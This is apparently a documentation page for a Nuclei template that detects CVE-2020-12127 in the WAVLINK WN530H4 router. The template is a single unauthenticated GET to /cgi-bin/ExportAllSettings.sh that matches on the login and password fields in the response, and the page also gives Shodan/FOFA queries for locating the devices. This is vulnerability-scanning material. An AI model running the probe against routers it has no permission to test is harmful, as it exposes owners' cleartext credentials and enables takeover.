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WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure

ID: CVE-2020-12127

Severity: high

Author: arafatansari

Tags: cve,cve2020,wavlink,exposure

Description

Section titled “Description”

WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.

YAML Source

Section titled “YAML Source”
id: CVE-2020-12127


info:
  name: WAVLINK WN530H4 M30H4.V5030.190403 - Information Disclosure
  author: arafatansari
  severity: high
  description: |
    WAVLINK WN530H4 M30H4.V5030.190403 contains an information disclosure vulnerability in the /cgi-bin/ExportAllSettings.sh endpoint. This can allow an attacker to leak router settings, including cleartext login details, DNS settings, and other sensitive information without authentication.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as router configuration settings and user credentials.
  remediation: |
    Apply the latest firmware update provided by the vendor to fix the information disclosure vulnerability.
  reference:
    - https://cerne.xyz/bugs/CVE-2020-12127
    - https://www.wavlink.com/en_us/product/WL-WN530H4.html
    - https://nvd.nist.gov/vuln/detail/CVE-2020-12127
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-12127
    cwe-id: CWE-306
    epss-score: 0.06164
    epss-percentile: 0.93545
    cpe: cpe:2.3:o:wavlink:wn530h4_firmware:m30h4.v5030.190403:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: wavlink
    product: wn530h4_firmware
    shodan-query:
      - http.html:"Wavlink"
      - http.html:"wavlink"
    fofa-query: body="wavlink"
  tags: cve,cve2020,wavlink,exposure


http:
  - method: GET
    path:
      - "{{BaseURL}}/cgi-bin/ExportAllSettings.sh"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Login='
          - 'Password='
          - 'Model='
          - 'AuthMode='
        condition: and


      - type: status
        status:
          - 200
# digest: 490a004630440220157813115cccd85e391c050a0368c56ae7091c5768228d018ca031caffb8b08502206d5259af60480a9e9b79bd4f70fdeacac1d59790a223e7a090b4eea8f24fbbf0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-12127.yaml"

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